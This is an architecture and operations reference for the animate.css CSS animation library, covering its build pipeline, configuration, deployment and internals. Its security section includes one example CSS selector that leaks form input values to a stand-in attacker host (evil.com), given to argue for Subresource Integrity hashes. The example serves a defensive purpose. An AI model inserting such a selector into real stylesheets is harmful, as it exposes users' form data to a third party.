Audience: Library maintainers, frontend architects, build engineers, design-system leads, and performance engineers responsible for integrating, customizing, or operating
animate.cssat scale.
1. Architecture Overview
1.1 What the system does
animate.css is a pure-CSS animation library — no JavaScript runtime, no framework coupling, no DOM manipulation. It ships a catalog of 97 named @keyframes together with a small class-based API (.animate__animated, .animate__{name}, duration/delay/repeat utilities) that composes them onto any HTML element.
The source is a collection of individual CSS files — one per animation — aggregated into a single output file by a PostCSS build pipeline. The build produces three variants of the same source: prefixed (default), prefixed-and-minified (production), and unprefixed-and-minified (backwards-compatible with v3).
| Dimension | Value |
|---|---|
| Latest version (this revision) | 4.1.1 |
| Source commit documented | 3f8ab23 (2024-03-02) |
| License | Hippocratic License 2.1 (ethical-use clauses) |
| Runtime dependencies | None (pure CSS) |
| Build-time dependencies | PostCSS + 7 plugins |
| Build output | 3 CSS files: animate.css, animate.min.css, animate.compat.css |
| Distributed animations | 97 @keyframes |
| Source animation files | 98 (shipping build excludes source/attention_seekers/shake.css) |
| Class prefix (default) | animate__ |
| CSS custom properties | 3 (--animate-duration, --animate-delay, --animate-repeat) |
Browser support (via browserslist) |
> 3%, last 2 versions |
Note
The library has no JavaScript runtime artifact, no Web Animations API usage, no tree-shakeable module exports, no Sass/Less preprocessor, no React/Vue/Svelte wrapper, no test suite, and no TypeScript declarations. These are authoritative negative facts — relying on the contrary in downstream systems will break.
1.2 Source tree topology
animate.css/
├── source/ <- Canonical source; bundler entry point
│ ├── animate.css <- Master aggregator (97 @import lines)
│ ├── _base.css <- .animated machinery, utility classes
│ ├── _vars.css <- 3 CSS custom properties at :root
│ ├── attention_seekers/ <- 13 keyframe files
│ ├── back_entrances/ <- 4
│ ├── back_exits/ <- 4
│ ├── bouncing_entrances/ <- 5
│ ├── bouncing_exits/ <- 5
│ ├── fading_entrances/ <- 13
│ ├── fading_exits/ <- 13
│ ├── flippers/ <- 5
│ ├── lightspeed/ <- 4
│ ├── rotating_entrances/ <- 5
│ ├── rotating_exits/ <- 5
│ ├── sliding_entrances/ <- 4
│ ├── sliding_exits/ <- 4
│ ├── specials/ <- 4 (+ source shake.css NOT in build)
│ ├── zooming_entrances/ <- 5
│ └── zooming_exits/ <- 5
├── postcss.config.js <- Build-pipeline config
├── package.json <- Scripts + build-time deps
├── animate.css <- Built: unminified, prefixed (dev default)
├── animate.min.css <- Built: minified, prefixed (production)
├── animate.compat.css <- Built: minified, UNPREFIXED (backwards compat)
├── docs/ <- Built static site output
└── docsSource/ <- Site generator (Node.js scripts)
├── index.js <- Entry: reads sections/*.md, builds index.html
├── compileMD.js <- markdown-it -> HTML sections
├── compileAnimationList.js <- Parses source/animate.css comments to build sidebar
├── template.html <- Docs HTML template
└── sections/ <- 10 user-facing .md files
1.3 Component inventory
| Component | Path | Role |
|---|---|---|
| CSS custom properties | source/_vars.css |
Defines --animate-duration, --animate-delay, --animate-repeat at :root |
| Base class machinery | source/_base.css |
.animate__animated, utility classes, prefers-reduced-motion guard |
| Animation files | source/{category}/{name}.css |
One @keyframes + one class per file |
| Master aggregator | source/animate.css |
97 @import lines composing all animations |
| PostCSS pipeline | postcss.config.js |
5-stage build: import, prefix, preset-env, cssnano, header |
| Docs generator | docsSource/index.js |
Reads markdown sections + animation list, produces docs/index.html |
1.4 Technology stack
| Layer | Technology |
|---|---|
| Source language | CSS (plain, no preprocessor) |
| Build tool | PostCSS CLI (npx postcss) |
| Build orchestration | npm-run-all via package.json scripts |
| Docs site | Static HTML generated by Node.js (markdown-it + template substitution) |
| CI | Travis CI (.travis.yml, Node 10) |
| Code formatting | Prettier + lint-staged + Husky git hooks |
1.5 Build control flow
source/animate.css (master with 97 @imports)
|
v
postcss-import (inlines all imported files into one buffer)
|
v
postcss-prefixer (prepends "animate__" to every class -- unless env=compat)
| (ignores [class*=...] attribute selectors via regex guard)
v
postcss-preset-env (autoprefixer, custom-properties feature enabled)
|
v
cssnano (only if env === 'production' || env === 'compat')
|
v
postcss-header (prepends copyright banner with version from package.json)
|
v
output file (animate.css / animate.min.css / animate.compat.css)
1.6 The three build outputs
| Output | Prefixed | Minified | CSS custom properties | Typical use |
|---|---|---|---|---|
animate.css |
yes (animate__) |
no | inlined by postcss-preset-env |
Development, debugging |
animate.min.css |
yes (animate__) |
yes (cssnano) |
inlined | Production CDN, npm consumption |
animate.compat.css |
no | yes | inlined | Migrating from v3 without editing markup |
All three are compiled from the same source/animate.css master file; the difference is pipeline environment (ctx.env in postcss.config.js).
1.7 Runtime execution model
On the consumer's page, the runtime surface is exactly three CSS-level constructs:
- A trigger class
.animate__animated— setsanimation-duration,animation-fill-mode: both, and respectsprefers-reduced-motion. - A keyframe class
.animate__{name}— maps toanimation-name: {name}and (for a few entries) overridesanimation-duration. - Optional modifier classes —
.animate__delay-{n}s,.animate__{speed},.animate__repeat-{n},.animate__infinite.
The browser's CSS animation engine does all the work. There is no JavaScript execution triggered by the library itself.
1.8 Entry point summary
| Layer | Entry file | Purpose |
|---|---|---|
| Consumer CSS | animate.min.css (or animate.css) |
Built, redistributable artifact |
| Consumer npm | package.json#main = "animate.css" |
Bundler resolves to built CSS |
| Source | source/animate.css |
Master @import aggregator (97 lines) |
| Build pipeline | postcss.config.js |
Plugin chain for PostCSS CLI |
| Build commands | package.json#scripts |
start (full build), dev (watch), docs (site) |
| Docs site generator | docsSource/index.js |
Node.js script building docs/index.html |
2. System Requirements
2.1 For consumers (end users who <link> the CSS)
| Requirement | Value |
|---|---|
| Browser | Any evergreen browser; > 3% marketshare + last 2 versions (per package.json#browserslist) |
| CSS custom properties support | Required for --animate-duration, --animate-delay, --animate-repeat (graceful: fixed fallback values used if CSS vars are unsupported) |
| JavaScript | Not required |
| Build tooling | Not required |
| Transport | Any <link rel="stylesheet"> compatible host (CDN, self-hosted, bundler) |
2.2 For library maintainers / local development
| Requirement | Value | Where pinned |
|---|---|---|
| Node.js | v10 per .travis.yml; modern Node (>=18) works fine |
.travis.yml |
| npm | Any version that can run npm-run-all and npx postcss |
implicit |
| PostCSS CLI | ^8.3.1 |
package.json#devDependencies |
| PostCSS | ^8.4.14 |
package.json#devDependencies |
postcss-import |
^14.0.2 |
package.json#devDependencies |
postcss-prefixer |
^2.1.3 |
package.json#devDependencies |
postcss-preset-env |
^6.7.0 |
package.json#devDependencies |
postcss-header |
^3.0.1 |
package.json#devDependencies |
autoprefixer |
^10.4.7 |
package.json#devDependencies |
cssnano |
^5.0.17 |
package.json#devDependencies |
prettier |
^2.7.1 (formatter) |
package.json#devDependencies |
eslint |
^7.32.0 (for docsSource/*.js) |
package.json#devDependencies |
husky |
^7.0.4 (git hooks) |
package.json#devDependencies |
lint-staged |
^11.2.6 |
package.json#devDependencies |
markdown-it |
^12.3.2 (docs-site generator) |
package.json#devDependencies |
npm-run-all |
^4.1.5 |
package.json#devDependencies |
Note
All dependencies are
devDependencies— none ship to consumers. The npm package distributes only CSS files plus source CSS.
2.3 Hosting requirements
None beyond standard static-asset hosting. There is no server runtime, no database, no state, no authentication.
3. Configuration Reference
3.1 Build-time configuration (package.json)
"animateConfig": {
"prefix": "animate__"
}
| Key | Type | Default | Effect |
|---|---|---|---|
animateConfig.prefix |
string | "animate__" |
Prepended to every class name by postcss-prefixer during non-compat builds |
Important
This is the only build-time knob. To change the prefix (e.g., to avoid collision with another library), fork, edit
package.json, and rebuild withnpm start.
3.2 Runtime configuration (CSS custom properties)
Defined in source/_vars.css at :root:
| Custom property | Default | Affects |
|---|---|---|
--animate-duration |
1s |
Every .animate__animated element's animation-duration |
--animate-delay |
1s |
Base unit for .animate__delay-1s through .animate__delay-5s (multiplied via calc()) |
--animate-repeat |
1 |
Base for .animate__repeat-1, -2, -3 (multiplied via calc()) |
Override scopes:
- Global:
:root { --animate-duration: 500ms; }— changes default speed for every animated element. - Per-element:
<div class="animate__animated" style="--animate-duration: 2s;">— one-off override. - Per-component:
.my-card { --animate-duration: 800ms; }— cascade naturally.
3.3 Hardcoded per-animation duration overrides
These ignore --animate-duration because they use literal animation-duration rules in their own stylesheets; noted here because they are invisible without reading source:
| Animation | Hardcoded duration | Source file |
|---|---|---|
hinge |
2s (2x default) |
source/specials/hinge.css |
bounceIn |
0.75s |
source/bouncing_entrances/bounceIn.css |
bounceOut |
0.75s |
source/bouncing_exits/bounceOut.css |
flipOutX |
0.75s |
source/flippers/flipOutX.css |
flipOutY |
0.75s |
source/flippers/flipOutY.css |
heartBeat |
1.3s |
source/attention_seekers/heartBeat.css |
Speed utilities (.animate__fast, .animate__slow, etc.) do compose correctly with these — they use calc() on the effective duration.
Warning
If you set
--animate-durationglobally, these six animations will not change proportionally because their class-levelanimation-durationtakes cascade precedence. Override--animate-durationon the specific element to affect them.
3.4 Utility classes — authoritative list
Generated from source/_base.css:
| Class | CSS it emits | Purpose |
|---|---|---|
.animate__animated |
animation-duration: var(--animate-duration, 1s); animation-fill-mode: both; |
Required base class |
.animate__infinite |
animation-iteration-count: infinite |
Loop forever |
.animate__repeat-1 / -2 / -3 |
animation-iteration-count: calc(N * var(--animate-repeat)) |
Finite repetition |
.animate__delay-1s ... -5s |
animation-delay: calc(Ns * var(--animate-delay)) |
Delay start |
.animate__slow |
animation-duration: calc(var(--animate-duration) * 2) |
2x slower |
.animate__slower |
animation-duration: calc(var(--animate-duration) * 3) |
3x slower |
.animate__fast |
animation-duration: calc(var(--animate-duration) * 0.8) |
0.8x faster |
.animate__faster |
animation-duration: calc(var(--animate-duration) * 0.5) |
2x faster |
3.5 Accessibility clause (in _base.css)
@media (print), (prefers-reduced-motion: reduce) {
.animate__animated {
animation-duration: 1ms !important;
transition-duration: 1ms !important;
animation-iteration-count: 1 !important;
}
}
Important
This media query guard is the entire accessibility mechanism. Never remove or weaken it. See section 7 for the security/accessibility rationale.
3.6 npm package files
The files field in package.json determines what ships to npm consumers:
"files": [
"animate.compat.css",
"animate.min.css",
"animate.css",
"source/**/*.css"
]
This means source CSS files are available for selective @import by consumers.
3.7 Browserslist
"browserslist": [
"> 3%",
"last 2 versions"
]
This configures autoprefixer (via postcss-preset-env) to emit vendor prefixes only for browsers with >3% global usage and the last 2 versions.
4. Deployment & Scaling
4.1 Delivery strategies
| Strategy | Pro | Con | Recommended when |
|---|---|---|---|
CDN link (<link> tag) |
Simple, cached across sites | External dependency, SRI required | Quick prototypes, non-critical sites |
Self-hosted animate.min.css |
Full control, one RTT saved vs CDN | Byte cost if only a few animations used | Standard production sites using >10 animations |
Bundled subset (via @import) |
Minimal byte cost | Requires build config | Performance-critical sites using <10 animations |
| Inlined critical CSS | Zero blocking request | Tooling complexity | Sites where animations are above-the-fold |
4.2 Caching
- The library changes rarely; set
Cache-Control: public, max-age=31536000, immutableon versioned URLs (e.g.,/animate.min.4.1.1.css). - CDN ETags work cleanly because the file is static.
- There is no server-side state, so no cache-invalidation cross-talk.
Tip
Pin to an exact version when using a CDN. Avoid
@latest— a major version bump with breaking prefix changes will silently break your animations.
4.3 SRI (Subresource Integrity)
When loading via CDN, use an SRI hash to prevent tampering:
<link rel="stylesheet"
href="https://cdn.jsdelivr.net/npm/animate.css@4.1.1/animate.min.css"
integrity="sha384-..."
crossorigin="anonymous">
Generate SRI hashes with:
openssl dgst -sha384 -binary animate.min.css | openssl base64 -A
Note
SRI hashes must be regenerated after every version bump or custom build. The hash for the default build and a custom-prefix build will differ even if the animations are identical.
5. Operations
5.1 Build system — npm scripts reference
| Script | Command (paraphrased) | Produces | When to run |
|---|---|---|---|
npm start |
npm-run-all raw prod compat |
All three built CSS files | Full release build |
npm run raw |
npx postcss source/animate.css -o animate.css --no-map --env development |
animate.css (unminified, prefixed) |
Local inspection of compiled output |
npm run dev |
same as raw but with -w (watch) |
animate.css on every save |
Interactive development |
npm run prod |
npx postcss source/animate.css -o animate.min.css --no-map --env production |
animate.min.css (minified, prefixed) |
Production artifact |
npm run compat |
npx postcss source/animate.css -o animate.compat.css --no-map --env compat |
animate.compat.css (minified, unprefixed) |
Compatibility artifact |
npm run docs:library |
npx postcss source/animate.css -o ./docs/animate.min.css --no-map --env production |
Copy of minified CSS inside docs/ |
Before docs:pages |
npm run docs:pages |
node ./docsSource/index.js |
docs/index.html (static site) |
Rebuild docs site |
npm run docs |
npm-run-all docs:library docs:pages |
Both above | Full docs rebuild |
npm run format |
prettier --write "**/*.{js,json,md,css}" |
Formatted source | Before commit |
npm run version |
npm-run-all start docs && git add -A docs animate.css animate.min.css animate.compat.css |
Built artifacts staged | Invoked by npm version |
npm run postversion |
git push && git push --tags |
Tags pushed | Invoked after npm version |
npm run prepare |
husky install |
Git hooks installed | Invoked on npm install |
Tip
The
npm version patch|minor|majorlifecycle automatically runsnpm start(full build),npm run docs(site rebuild), stages built artifacts, commits, tags, and pushes. A single command handles the entire release flow.
5.2 PostCSS pipeline — key decisions
// postcss.config.js:12
const {homepage, version, author, animateConfig} = JSON.parse(fs.readFileSync('package.json'));
Package metadata (version, prefix) is injected into the header at build time. Bumping version in package.json automatically stamps it into the emitted CSS banner.
// postcss.config.js:28
const prefix = ctx.env === 'compat' ? '' : animateConfig.prefix;
This single ternary is the entire mechanism that separates the compat build from the prefixed build. There are no separate source files; the same source tree produces both builds via environment variable.
// postcss.config.js:38-40
'postcss-prefixer': {
prefix,
ignore: [/\[class*=.*\]/],
},
Attribute selectors like [class*="animate__"] in the source are not re-prefixed, preventing double-prefixing. This is important if you modify source and use attribute-selector patterns.
// postcss.config.js:42-49
'postcss-preset-env': {
autoprefixer: { cascade: false },
features: { 'custom-properties': true },
},
custom-properties: true means postcss-preset-env inlines fallback values for browsers without CSS-variable support. This is why --animate-duration: 1s works even where var() is unsupported.
// postcss.config.js:50
cssnano: ctx.env === 'production' || ctx.env === 'compat' ? {} : false,
Minification runs only for production and compat environments. The raw/development build is intentionally unminified for debugging.
5.3 Expected build output sizes
| File | Size (approx) | Gzipped (approx) |
|---|---|---|
animate.css |
~75 KB | ~10 KB |
animate.min.css |
~60 KB | ~9 KB |
animate.compat.css |
~57 KB | ~9 KB |
Note
Sizes vary by build tooling versions. Run
ls -l animate*.cssafter a freshnpm startfor exact figures on your toolchain.
5.4 Release checklist
- [x] Run
npm start— verify three CSS files are regenerated without errors - [x] Run
npm run docs— verifydocs/index.htmlis regenerated - [ ] Serve
docs/locally and click every animation in the catalog - [ ] Verify
animate.min.csscontains exactly 97@keyframesblocks - [ ] Verify
animate.compat.csshas noanimate__prefix - [ ] Verify
animate.cssheader matchespackage.json#version - [ ] Run
npm version patch|minor|majorto tag, build, commit, and push
6. Performance
6.1 Performance characteristics
Animate.css keyframes primarily animate transform and opacity — both are GPU-composited properties that avoid layout and paint costs. This is a deliberate design choice that makes the library performant across devices.
6.2 Performance checklist for integration
- Set
will-changesparingly — the library does not setwill-changeon any element. Elements animated frequently should havewill-change: transform, opacityadded manually before animation starts, then removed. Setting it permanently hurts performance. - Avoid animating layout-triggering properties — when adding custom keyframes, stay within
transformandopacity. - Batch class additions — if adding
.animate__animatedto many elements, do it withclassListand avoid layout thrash. - Combined class-bundle size — the full minified CSS is ~60 KB (~9 KB gzipped). On a bandwidth-constrained path, subset builds (section 7) can reduce this to <2 KB for typical use.
animation-fill-mode: bothis set on.animate__animated— elements retain their final frame after exit animations. If you want them to disappear from layout, applydisplay: noneafteranimationend.
Tip
For pages using only 2-3 animations, a subset build (section 7) eliminates ~95% of unused CSS. This is the single biggest performance optimization available.
7. Security
7.1 Threat surface
Because animate.css is pure CSS with no JavaScript, the normal web-security threat vectors do not apply:
| Vector | Applicable? | Notes |
|---|---|---|
| XSS via library code | No | There is no JavaScript in the distributable artifact |
| Prototype pollution | No | No JS runtime |
| Supply-chain JS injection | No | No runtime JS dependencies |
| CSS-based exfiltration | Theoretical | Any CSS library can be modified to exfiltrate form data via attribute selectors + background URLs. animate.css does not do this in any shipping source. |
| Dependency risk | Low | All deps are devDependencies; none ship to consumers |
| Subresource-integrity risk | Standard | If loading via CDN, use an SRI hash |
Caution
If loading from a third-party CDN, always use Subresource Integrity (SRI) hashes. A compromised CDN could inject CSS-based data exfiltration (e.g.,
input[value^="a"] { background: url(https://evil.com/a) }). SRI prevents this by validating the file hash before applying it.
7.2 Build-time supply chain
The relevant build dependencies are standard PostCSS ecosystem packages. There are no custom or vendored build plugins:
postcss-import@^14.0.2postcss-prefixer@^2.1.3postcss-preset-env@^6.7.0postcss-header@^3.0.1autoprefixer@^10.4.7cssnano@^5.0.17prettier@^2.7.1eslint@^7.32.0husky@^7.0.4lint-staged@^11.2.6markdown-it@^12.3.2npm-run-all@^4.1.5
Run npm audit periodically on a fresh clone; since consumers don't install these, vulnerabilities are confined to the maintainer's build environment.
7.3 License — Hippocratic License 2.1
The Hippocratic License is not an OSI-approved open-source license. It is a source-available license with ethical-use clauses that forbid use by entities engaging in specific harmful activities (surveillance, human-rights violations, environmental destruction, etc. — see the full text at firstdonoharm.dev).
Compliance implications for admins / legal review:
- Corporate legal policy may classify Hippocratic-2.1 as non-standard. Some compliance workflows auto-reject non-OSI licenses.
- The license is permissive on technical grounds (use, modify, redistribute) but conditional on ethical grounds.
- For corporate use, confirm your organization's activities do not fall within the license's prohibited categories.
- Some organizations choose to replace
animate.csswith an MIT-licensed alternative when compliance pushback is strong.
| Item | Value |
|---|---|
| License | Hippocratic License 2.1 |
| License URL | https://firstdonoharm.dev/version/2/1/license.html |
| OSI-approved? | No |
| Commercial use | Allowed, subject to ethical-use clauses |
| Redistribution | Allowed, include license |
| Warranty | None |
| Copyright holder | Animate.css (per package.json#author) |
7.4 prefers-reduced-motion — a safety feature
The library respects prefers-reduced-motion: reduce automatically by reducing animation duration to 1ms and forcing iteration count to 1. Do not override this behavior without an operational reason; users requesting reduced motion may have vestibular disorders or other conditions where forced animation is genuinely harmful.
If you add custom keyframes on top of the library, replicate the same guard:
@media (prefers-reduced-motion: reduce) {
.my-custom-animated { animation-duration: 1ms !important; }
}
8. Developer Internals
8.1 Repository structure
animate.css/ 144 files, ~5.2K chars source
├── source/ 98 CSS files (97 in build + 1 excluded)
│ ├── _vars.css CSS custom properties
│ ├── _base.css Base class, utilities, a11y guard
│ ├── animate.css Master @import aggregator
│ └── {category}/{name}.css Individual animation files
├── postcss.config.js 57 lines, build pipeline
├── package.json Scripts, deps, animateConfig
├── .travis.yml CI: Node 10, npm install && npm start
├── .prettierrc Prettier config
├── .editorconfig Editor config
├── docsSource/ 3 JS files + template + 10 markdown sections
│ ├── index.js Entry point for docs generation
│ ├── compileMD.js Markdown-to-HTML via markdown-it
│ ├── compileAnimationList.js Parses animation names from source
│ ├── template.html HTML template with {{docs}}, {{list}}, {{version}} slots
│ └── sections/ 10 .md files (intro, usage, utilities, etc.)
├── docs/ Built static site
│ ├── index.html Generated docs page
│ ├── main.mjs Client-side JS modules
│ ├── style.css Docs styling
│ └── modules/ 6 JS modules (playground, dark mode, etc.)
├── animate.css Built output (dev)
├── animate.min.css Built output (prod)
└── animate.compat.css Built output (compat)
8.2 Animation file conventions
Each animation file declares exactly one @keyframes {name} { ... } block plus one class rule .{name}:
- Directional variants (e.g.,
fadeInLeft,fadeInRight) are separate files, not parametrized — deliberate so selective@importtree-shakes unused variants. - The class rule assigns
animation-name: {name}. Everything else (duration, timing-function, fill-mode) is inherited from.animate__animated. - Transform-origin and perspective are set on the class rule, not inside
@keyframes, so they apply even if an override wraps the animation in a container with different origins.
8.3 Animation groups — internals
| Group (folder) | Count | Shared patterns | Duration notes |
|---|---|---|---|
attention_seekers |
13 | In-place transforms | Default (except heartBeat = 1.3s) |
back_entrances |
4 | Scale + translate | Default |
back_exits |
4 | Scale + translate | Default |
bouncing_entrances |
5 | Bounce easing via multi-keyframe | bounceIn = 0.75s |
bouncing_exits |
5 | Bounce easing | bounceOut = 0.75s |
fading_entrances |
13 | Opacity + translate | Default |
fading_exits |
13 | Opacity + translate | Default |
flippers |
5 | perspective(400px) + rotation |
flipOutX/Y = 0.75s |
lightspeed |
4 | Skew + translate | Default |
rotating_entrances |
5 | Rotation with transform-origin | Default |
rotating_exits |
5 | Rotation with transform-origin | Default |
sliding_entrances |
4 | Translate only | Default |
sliding_exits |
4 | Translate only | Default |
specials |
4 | Unique per animation | hinge = 2s |
zooming_entrances |
5 | Scale + translate | Default |
zooming_exits |
5 | Scale + translate | Default |
8.4 The shake discrepancy
source/attention_seekers/shake.css exists in the repository but is not imported by source/animate.css. Consequences:
- It is not in the built
animate.css/animate.min.css. - It is not documented in the official site.
- It is still shipped in the npm package because
files: ["source/**/*.css"]includes every source file.
If a downstream consumer builds a custom bundle by listing source files directly (@import "animate.css/source/attention_seekers/shake.css"), they will get a working shake animation.
8.5 Docs site generator
The docs site is a custom Node.js build, not a static-site generator framework:
docsSource/index.jsreadspackage.jsonfor the version number.compileMD.jsreads all.mdfiles fromdocsSource/sections/, sorted alphabetically (prefix numbers00-through09-ensure order), and compiles each to HTML viamarkdown-itwithhtml: trueandlinkify: true.compileAnimationList.jsreadssource/animate.css, parses category comments and@importfilenames via regex, and produces an HTML animation sidebar list.- The template (
template.html) has{{docs}},{{list}}, and{{version}}placeholders that are replaced via simple string substitution. - Output is written to
docs/index.html.
The docs site also includes client-side JS modules (docs/modules/) for the interactive playground, dark mode, slow-down toggle, and animation triggers.
8.6 Code patterns
- No JavaScript runtime — the library is CSS-only. The only JS is build tooling and docs generation.
- CSS composition via
@import— the mastersource/animate.csscomposes all animations. Individual animation files are standalone units. - CSS custom properties for configurability —
--animate-duration,--animate-delay,--animate-repeatprovide the entire runtime configuration surface. - Build-time prefixing — class name prefixing is applied by
postcss-prefixerduring build, not in source. - Lint-staged formatting —
prettierruns on*.{mjs,js,json,md,css}vialint-staged+huskypre-commit hook.
8.7 Testing
Warning
The repository has no automated test suite. There is no Jest, no Mocha, no visual regression. The npm scripts contain
start,dev,prod,compat,docs,format,prepare,version,postversion. There is notestscript. Quality is verified manually against the published docs site.
Recommended QA workflow:
-
Run
npm start— verify three CSS files regenerate without errors. -
Run
npm run docs— verifydocs/index.htmlregenerates. -
Serve
docs/locally and click every animation in the catalog. -
Verify
animate.min.csscontains exactly 97@keyframesblocks:grep -c "@keyframes " animate.min.css97 -
Verify
animate.compat.csshas noanimate__prefix:grep -c "animate__" animate.compat.css0
8.8 Potential improvements
-
Ship a JSON manifest of animation names at
dist/animations.json. This enables editor intellisense (closes #1855), programmatic enumeration for JS wrappers, and type-safe React/Vue component wrappers. -
Formalize subset builds (closes #1331). Options:
package.json#exportsmap for each source subdirectory, a CLI for custom bundles, or a companion package for common subsets. -
Add a visual-regression test harness. Playwright + pixelmatch, one snapshot per animation at start/mid/end frames. Run on every PR.
-
Decide the fate of
shake— either re-importsource/attention_seekers/shake.cssintosource/animate.cssand document it, or delete the file to remove the discrepancy. -
Upgrade Node in CI —
.travis.ymlpins Node 10, which is EOL. Move to Node 18/20, migrate to GitHub Actions. -
Add an
exportsfield topackage.jsonso modern bundlers get unambiguous entry resolution; include conditional entries for subset imports. -
Document the per-animation duration overrides in the official site — currently only discoverable by reading source.
-
Add
prepublishOnlyscript that runsnpm start && npm run docsto guarantee published artifacts are always in sync. -
Ship SRI-hash files so CDN consumers can pin integrity hashes mechanically.
-
Add a
testscript even if it's just a shell script asserting every source file (exceptshake.css) is imported bysource/animate.cssand the built files contain the expected@keyframescount.
8.9 Contributing
The repository includes a CONTRIBUTING.md and CODE_OF_CONDUCT.md. Source formatting is enforced by Prettier via lint-staged and Husky pre-commit hooks. Run npm run format before committing, or let the hook handle it automatically.
To add a new animation:
- Create a new CSS file under the appropriate
source/{category}/directory. - Define one
@keyframes {name}block and one.{name}class. - Add an
@importline tosource/animate.css. - Run
npm startto rebuild. - Run
npm run docsto update the docs site.
9. Integration Points
9.1 Consumer integration modes
| Mode | Mechanism | Notes |
|---|---|---|
| CDN drop-in | <link> to animate.min.css |
No build step; approximately 9 KB gzipped |
| npm install | import 'animate.css' |
Bundler resolves package.json#main |
| Selective import | @import 'animate.css/source/{category}/{name}.css' |
Requires postcss-import or equivalent; ships unprefixed |
| Custom prefix build | Fork, edit animateConfig.prefix, npm start |
Produces custom-prefixed output |
| Legacy compat | import 'animate.css/animate.compat.css' |
Unprefixed class names for v3 compatibility |
9.2 Framework integration patterns
The library is framework-agnostic. Integration follows the same pattern everywhere: import the CSS once globally, then apply classes to elements. See the User Guide section 7.6 for React, Vue, Svelte, and Angular examples.
9.3 Custom builds — subset and prefix
Subset builds (reduce CSS size):
/* Import only what you need */
@import 'animate.css/source/_vars.css';
@import 'animate.css/source/_base.css';
@import 'animate.css/source/fading_entrances/fadeIn.css';
@import 'animate.css/source/fading_exits/fadeOut.css';
@import 'animate.css/source/attention_seekers/pulse.css';
Warning
Source files use unprefixed class names (
.fadeIn,.animated). A direct-import subset build will NOT haveanimate__prefixes. Either align your markup to unprefixed names, or run your ownpostcss-prefixerpass.
Custom prefix:
Edit package.json#animateConfig.prefix:
"animateConfig": {
"prefix": "myco__"
}
Run npm start. Every class in the output becomes myco__animated, myco__fadeIn, etc.
Global kill-switch (disable all animations):
:root {
--animate-duration: 1ms;
}
.animate__animated {
animation-duration: 1ms !important;
}
This is functionally equivalent to the prefers-reduced-motion branch and can be toggled by a body class or feature flag.
10. Troubleshooting
Build-level issues
| Issue | Diagnosis | Resolution |
|---|---|---|
npx postcss fails on Node 10 |
Newer postcss-preset-env requires Node >=12 |
Update .travis.yml and local env to Node >=16 |
animate.css output is empty after npm run raw |
source/animate.css has a syntax error or missing file |
Run npx postcss source/animate.css -o /dev/null --env development --verbose |
Prefix applied twice (.animate__animate__fadeIn) |
postcss-prefixer ran on already-prefixed output |
Confirm pipeline runs on source/ only; never on built files |
cssnano mangles a valid selector |
Edge-case cssnano optimization | Pin cssnano version or add exclusion rules |
| Docs site shows wrong version | package.json#version not updated before npm run docs |
Bump version, re-run npm run docs, commit |
postcss-prefixer prefixes inside attribute selectors |
Regex in ignore didn't match |
Widen ignore array if using custom attribute selectors |
npm audit flags vulnerability in postcss-* |
Transitive deps from PostCSS 7->8 migration | Run npm audit fix; pin postcss@^8 in resolutions if breaking |
husky pre-commit hook fails on Windows |
Path issues with husky install |
Reinstall husky@^7 or use WSL |
npm version fails with untracked files |
npm-run-all start docs && git add -A docs ... expects clean state |
Commit pending work first |
Warning
The
.travis.ymlpins Node 10 which is long-since EOL. While the build may still succeed, newer PostCSS plugin versions may silently require Node >=14. If CI starts failing mysteriously, check the Node version first.
Runtime-level diagnostic pointers
| Symptom | Likely cause | Where to look |
|---|---|---|
| Nothing animates | Missing .animate__animated base class |
Consumer markup |
| Animation plays once then element snaps back | Missing animation-fill-mode: both or class removed prematurely |
source/_base.css / consumer JS |
| Animation plays too slowly / too fast globally | Custom --animate-duration override in scope |
Site CSS; grep for --animate-duration |
hinge, bounceIn, flipOutX/Y, heartBeat ignore custom duration |
Hardcoded animation-duration in their source files |
Section 3.3 table |
shake class does nothing |
shake.css not imported into distributed build |
Section 8.4 |
| Classes don't match expected names | Wrong artifact: compat vs default |
Check loaded filename |
calc() produces "invalid" warnings in older browsers |
postcss-preset-env should have inlined fallback — verify features.custom-properties: true is running |
postcss.config.js |
Tip
When debugging animation issues in production, the fastest diagnostic is to check which CSS file is loaded (view source or DevTools Network tab). If it's
animate.compat.css, classes are unprefixed. If it'sanimate.min.css, they need theanimate__prefix.
11. Known Issues
From the repository's GitHub issue tracker (17 issues fetched):
Open bugs (community-confirmed):
| Issue | Summary | Notes |
|---|---|---|
| #1856 | Bug on page loading | 5 comments; investigate load-time race with custom properties |
| #1855 | Intellisense | Editor tooling gap — class names not surfaced by standard CSS intellisense |
| #1853 | Bootstrap issue | Prefix/class-name conflict with Bootstrap utility classes |
Open feature requests:
- #1918 — Mood/content-based animation recommendations
- #1916 —
zoomIn: partial-range playback - #1901 — Add a new animation
- #1331 — Make importing source files possible (subset-build support)
- #1842 — Copy button for docs code snippets
- #1861 — Hover effect on footer links
- #1895 — Visual refresh of docs UI
Repository-level gaps:
- No automated tests (see section 8.7)
shake.cssexists in source but is not imported (see section 8.4)- No
.d.tsor JSON manifest of animation names - No tree-shake-friendly package export map (only a single
mainpointing at monolithic CSS)
12. Quick Reference
Key files for any change
| Change you want to make | File to edit |
|---|---|
| Global default duration | source/_vars.css |
Base .animated machinery |
source/_base.css |
| Add new animation | New file under source/{group}/ + @import line in source/animate.css |
| Change prefix | package.json#animateConfig.prefix |
| Change build environments | postcss.config.js |
| Docs site sections | docsSource/sections/*.md |
| Docs site layout | docsSource/template.html |
Commands cheat sheet
npm install # Install devDependencies, set up husky hooks
npm start # Full build: raw -> prod -> compat
npm run dev # Watch-mode build
npm run docs # Rebuild docs site
npm run format # Prettier all source
npm version patch # Bump version, build, commit, tag, push
Minimum consumer footprint
<link rel="stylesheet" href="/animate.min.css">
<div class="animate__animated animate__fadeIn">Hello</div>
Two lines. No JavaScript. No build step.